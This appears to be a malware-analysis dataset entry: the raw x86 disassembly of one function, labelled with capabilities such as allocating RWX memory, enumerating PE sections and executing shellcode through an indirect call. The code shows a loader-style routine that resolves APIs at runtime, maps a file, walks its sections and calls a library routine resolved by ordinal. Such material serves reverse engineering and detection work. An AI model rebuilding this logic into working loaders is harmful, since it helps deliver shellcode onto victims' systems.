Function at 0xd20ee3
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
push esi
push edi
mov al, byte [0xd26e78]
mov byte [ebp - 0x104], al
mov ecx, 0x3f
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x118], 0xd21950
mov dword [ebp - 0x114], 0xd20166
mov dword [ebp - 0x110], 0xd21a00
mov ecx, dword [ebp + 8]
mov dword [0xd26eec], ecx
push 0xd25538
call dword [0xd23000]
mov dword [0xd26f0c], eax
push 0xd25548
call dword [0xd23000]
mov dword [0xd26e9c], eax
push 0xd25554
mov edx, dword [0xd26e9c]
push edx
call dword [fcn.00d23004]
mov dword [0xd26f10], eax
push 0xd25560
mov eax, dword [0xd26e9c]
push eax
call dword [fcn.00d23004]
mov dword [0xd26ea4], eax
push 0xd2556c
mov ecx, dword [0xd26e9c]
push ecx
call dword [fcn.00d23004]
mov dword [0xd26ed0], eax
push 0xd25578
mov edx, dword [0xd26f0c]
push edx
call dword [fcn.00d23004]
mov dword [0xd26e90], eax
push 0xd2558c
mov eax, dword [0xd26f0c]
push eax
call dword [fcn.00d23004]
mov dword [0xd26ed8], eax
push 0xd25598
mov ecx, dword [0xd26f0c]
push ecx
call dword [fcn.00d23004]
mov dword [0xd26ef8], eax
push 0xd255ac
mov edx, dword [0xd26f0c]
push edx
call dword [fcn.00d23004]
mov dword [0xd26ef4], eax
push 0xd255b8
mov eax, dword [0xd26f0c]
push eax
call dword [fcn.00d23004]
mov dword [0xd26ee0], eax
push 0xd255c4
mov ecx, dword [0xd26f0c]
push ecx
call dword [fcn.00d23004]
mov dword [0xd26f00], eax
push 0xd255d4
mov edx, dword [0xd26f0c]
push edx
call dword [fcn.00d23004]
mov dword [0xd26ee8], eax
push 0xd255e0
mov eax, dword [0xd26f0c]
push eax
call dword [fcn.00d23004]
mov dword [0xd26eac], eax
push 0xd255f0
mov ecx, dword [0xd26f0c]
push ecx
call dword [fcn.00d23004]
mov dword [0xd26e80], eax
push 0xd25600
mov edx, dword [0xd26f0c]
push edx
call dword [fcn.00d23004]
mov dword [0xd26ed4], eax
mov eax, dword [0xd25090]
shl eax, 3
push eax
push 0x40
call dword [0xd26ef4]
mov dword [0xd26d3c], eax
push 0xd2560c
mov ecx, dword [0xd26f0c]
push ecx
call dword [fcn.00d23004]
mov dword [0xd26ebc], eax
push 0xd25618
mov edx, dword [0xd26f0c]
push edx
call dword [fcn.00d23004]
mov dword [0xd26efc], eax
push 0xd25628
mov eax, dword [0xd26f0c]
push eax
call dword [fcn.00d23004]
mov dword [0xd26eb4], eax
push 0xd25634
mov ecx, dword [0xd26f0c]
push ecx
call dword [fcn.00d23004]
mov dword [0xd26f04], eax
push 0xd25640
mov edx, dword [0xd26f0c]
push edx
call dword [fcn.00d23004]
mov dword [0xd26ec8], eax
push 0xd25654
mov eax, dword [0xd26f0c]
push eax
call dword [fcn.00d23004]
mov dword [0xd26ea8], eax
push 0xd25668
mov ecx, dword [0xd26f0c]
push ecx
call dword [fcn.00d23004]
mov dword [0xd26edc], eax
push 0xd2567c
mov edx, dword [0xd26f0c]
push edx
call dword [fcn.00d23004]
mov dword [0xd26ec0], eax
push 0xd25684
mov eax, dword [0xd26f0c]
push eax
call dword [fcn.00d23004]
mov dword [0xd26ecc], eax
push 0xd2568c
mov ecx, dword [0xd26f0c]
push ecx
call dword [fcn.00d23004]
mov dword [0xd26e8c], eax
push 0xd25694
mov edx, dword [0xd26f0c]
push edx
call dword [fcn.00d23004]
mov dword [0xd26ec4], eax
push 0xd2569c
mov eax, dword [0xd26f0c]
push eax
call dword [fcn.00d23004]
mov dword [0xd26e94], eax
push 0xd256a4
mov ecx, dword [0xd26f0c]
push ecx
call dword [fcn.00d23004]
mov dword [0xd26eb8], eax
push 0xd256ac
mov edx, dword [0xd26f0c]
push edx
call dword [fcn.00d23004]
mov dword [0xd26e98], eax
push 0xd256bc
mov eax, dword [0xd26f0c]
push eax
call dword [fcn.00d23004]
mov dword [0xd26e84], eax
call fcn.00d210b5
mov ecx, dword [0xd26eec]
mov edx, dword [0xd26eec]
add edx, dword [ecx + 0x3c]
mov eax, dword [0xd26eec]
mov ecx, dword [eax + 0x3c]
mov eax, dword [0xd26eec]
xor esi, esi
mov si, word [eax + ecx + 0x14]
lea ecx, [edx + esi + 0x18]
mov dword [ebp - 0x120], ecx
mov edx, dword [0xd26eec]
mov eax, dword [0xd26eec]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x11c], eax
mov dword [ebp - 0x124], 0
mov dword [ebp - 0x12c], 0
jmp 0xd20b0b
mov ecx, dword [ebp - 0x12c]
add ecx, 1
mov dword [ebp - 0x12c], ecx
mov edx, dword [ebp - 0x11c]
xor eax, eax
mov ax, word [edx + 6]
cmp dword [ebp - 0x12c], eax
jge 0xd20b58
push 8
push 0xd256c8
mov ecx, dword [ebp - 0x120]
push ecx
call fcn.00d221f0
add esp, 0xc
test eax, eax
jne 0xd20b47
mov edx, dword [ebp - 0x120]
mov dword [ebp - 0x124], edx
jmp 0xd20b58
mov eax, dword [ebp - 0x120]
add eax, 0x28
mov dword [ebp - 0x120], eax
jmp 0xd20afc
cmp dword [ebp - 0x124], 0
je 0xd20eb6
mov ecx, dword [ebp - 0x124]
mov dword [ebp - 0x120], ecx
mov edx, dword [ebp - 0x120]
push edx
call fcn.00d202ba
add esp, 4
push 0x372
mov eax, dword [ebp - 0x120]
mov ecx, dword [0xd26eec]
add ecx, dword [eax + 0xc]
push ecx
push 0xd268b8
call fcn.00d21eb0
add esp, 0xc
mov dword [ebp - 0x360], 0xffffffff
push 0xd25750
mov edx, dword [0xd26f0c]
push edx
call dword [fcn.00d23004]
mov dword [ebp - 0x134], eax
push 0xd25764
mov eax, dword [0xd26f0c]
push eax
call dword [fcn.00d23004]
mov dword [ebp - 0x14c], eax
push 0xd25774
mov ecx, dword [0xd26f0c]
push ecx
call dword [fcn.00d23004]
mov dword [ebp - 0x130], eax
push 0xd25784
mov edx, dword [0xd26f0c]
push edx
call dword [fcn.00d23004]
mov dword [ebp - 0x148], eax
push 0x200
lea eax, [ebp - 0x35c]
push eax
mov ecx, dword [0xd26eec]
push ecx
call dword [0xd26ef8]
push 0
push 0
push 3
push 0
push 1
push 0x80000000
lea edx, [ebp - 0x35c]
push edx
call dword [0xd26ebc]
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0xffffffff
jne 0xd20c5e
mov dword [ebp - 0x364], 0xffffffff
jmp 0xd20e73
push 0
push 0
push 0
push 2
push 0
mov eax, dword [ebp - 0x158]
push eax
call dword [ebp - 0x134]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
jne 0xd20c93
mov dword [ebp - 0x364], 0xffffffff
jmp 0xd20e73
push 0
push 0
push 0
push 4
mov ecx, dword [ebp - 0x140]
push ecx
call dword [ebp - 0x14c]
mov dword [ebp - 0x144], eax
mov edx, dword [ebp - 0x140]
push edx
call dword [0xd26eb4]
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x154], 0
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x144]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x13c], ecx
mov edx, dword [ebp - 0x144]
mov eax, dword [ebp - 0x144]
add eax, dword [edx + 0x3c]
mov ecx, dword [ebp - 0x144]
mov edx, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x144]
xor esi, esi
mov si, word [ecx + edx + 0x14]
lea edx, [eax + esi + 0x18]
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x15c], 0
jmp 0xd20d2e
mov eax, dword [ebp - 0x15c]
add eax, 1
mov dword [ebp - 0x15c], eax
mov ecx, dword [ebp - 0x13c]
xor edx, edx
mov dx, word [ecx + 6]
cmp dword [ebp - 0x15c], edx
jge 0xd20d9f
push 8
push 0xd25790
mov eax, dword [ebp - 0x150]
push eax
call fcn.00d221f0
add esp, 0xc
test eax, eax
jne 0xd20d68
mov ecx, dword [ebp - 0x150]
mov dword [ebp - 0x138], ecx
push 8
push 0xd25798
mov edx, dword [ebp - 0x150]
push edx
call fcn.00d221f0
add esp, 0xc
test eax, eax
jne 0xd20d8e
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x154], eax
mov ecx, dword [ebp - 0x150]
add ecx, 0x28
mov dword [ebp - 0x150], ecx
jmp 0xd20d1f
cmp dword [ebp - 0x138], 0
je 0xd20db1
cmp dword [ebp - 0x154], 0
jne 0xd20dc0
mov dword [ebp - 0x364], 0xffff
jmp 0xd20e73
mov edx, dword [ebp - 0x154]
cmp dword [edx + 0x10], 0x1000
jae 0xd20de0
mov eax, dword [ebp - 0x154]
mov ecx, dword [eax + 0x10]
mov dword [ebp - 0x368], ecx
jmp 0xd20dea
mov dword [ebp - 0x368], 0x1000
push 0xffffffffffffffff
mov edx, dword [ebp - 0x368]
push edx
mov eax, dword [ebp - 0x154]
mov ecx, dword [ebp - 0x144]
add ecx, dword [eax + 0x14]
push ecx
call fcn.00d20260
add esp, 0xc
mov dword [ebp - 0x360], eax
mov edx, dword [ebp - 0x360]
push edx
mov eax, dword [ebp - 0x138]
mov ecx, dword [eax + 0x10]
sub ecx, 0x372
push ecx
mov edx, dword [ebp - 0x138]
mov eax, dword [edx + 0x14]
mov ecx, dword [ebp - 0x144]
lea edx, [ecx + eax + 0x372]
push edx
call fcn.00d20260
add esp, 0xc
mov dword [ebp - 0x360], eax
mov eax, dword [ebp - 0x144]
push eax
call dword [ebp - 0x130]
mov ecx, dword [ebp - 0x158]
push ecx
call dword [0xd26eb4]
mov edx, dword [ebp - 0x360]
mov dword [ebp - 0x364], edx
mov eax, dword [ebp - 0x364]
mov dword [ebp - 0x128], eax
lea ecx, [ebp - 0x128]
push ecx
push 4
push 0xd25870
call fcn.00d1fec0
add esp, 0xc
push 0
push 0x372
push 0xd268b8
call fcn.00d20756
add esp, 0xc
push 0xd26966
call fcn.00d21092
add esp, 4
push 0x100
push 0xd26d78
mov edx, dword [0xd26eec]
push edx
call dword [0xd26ef8]
push 0xd26d78
call fcn.00d222c0
add esp, 4
sub eax, 1
mov dword [ebp - 0x10c], eax
jmp 0xd20ef4
mov eax, dword [ebp - 0x10c]
sub eax, 1
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jl 0xd20f13
mov ecx, dword [ebp - 0x10c]
movsx edx, byte [ecx + 0xd26d78]
cmp edx, 0x5c
jne 0xd20f11
jmp 0xd20f13
jmp 0xd20ee5
lea eax, [ebp - 0x104]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x10c]
add ecx, 1
mov dword [ebp - 0x10c], ecx
jmp 0xd20f3c
mov edx, dword [ebp - 0x10c]
add edx, 1
mov dword [ebp - 0x10c], edx
push 0xd26d78
call fcn.00d222c0
add esp, 4
cmp dword [ebp - 0x10c], eax
jae 0xd20f6d
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x10c]
mov dl, byte [ecx + 0xd26d78]
mov byte [eax], dl
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0xd20f2d
mov ecx, dword [ebp - 4]
mov byte [ecx], 0
lea edx, [ebp - 0x104]
push edx
call dword [0xd26ea4]
push 0xd256d0
call dword [0xd23000]
mov dword [0xd26ef0], eax
cmp dword [0xd26ef0], 0
jne 0xd20fb5
push 0
push 0xd256d8
push 0xd256e8
push 0
call dword [0xd26f10]
push 1
call dword [0xd26ed8]
push 1
mov eax, dword [0xd26ef0]
push eax
call dword [fcn.00d23004]
mov dword [0xd26ea0], eax
push 3
mov ecx, dword [0xd26ef0]
push ecx
call dword [fcn.00d23004]
mov dword [0xd26e88], eax
push 2
mov edx, dword [0xd26ef0]
push edx
call dword [fcn.00d23004]
mov dword [0xd26ee4], eax
push 5
mov eax, dword [0xd26ef0]
push eax
call dword [fcn.00d23004]
mov dword [0xd26f08], eax
cmp dword [0xd26ea0], 0
je 0xd21027
cmp dword [0xd26e88], 0
je 0xd21027
cmp dword [0xd26ee4], 0
je 0xd21027
cmp dword [0xd26f08], 0
jne 0xd21043
push 0
push 0xd2570c
push 0xd2571c
push 0
call dword [0xd26f10]
push 2
call dword [0xd26ed8]
mov ecx, dword [0xd26eb0]
push ecx
push 0xd26d40
push 0xd26d78
push 0xd268b8
mov edx, dword [0xd26eec]
push edx
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x118]
push ecx
call dword [0xd26e88]
cmp dword [ebp - 0x108], 0
je 0xd2108a
mov eax, dword [0xd26eec]
add eax, dword [ebp - 0x108]
jmp 0xd2108c
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret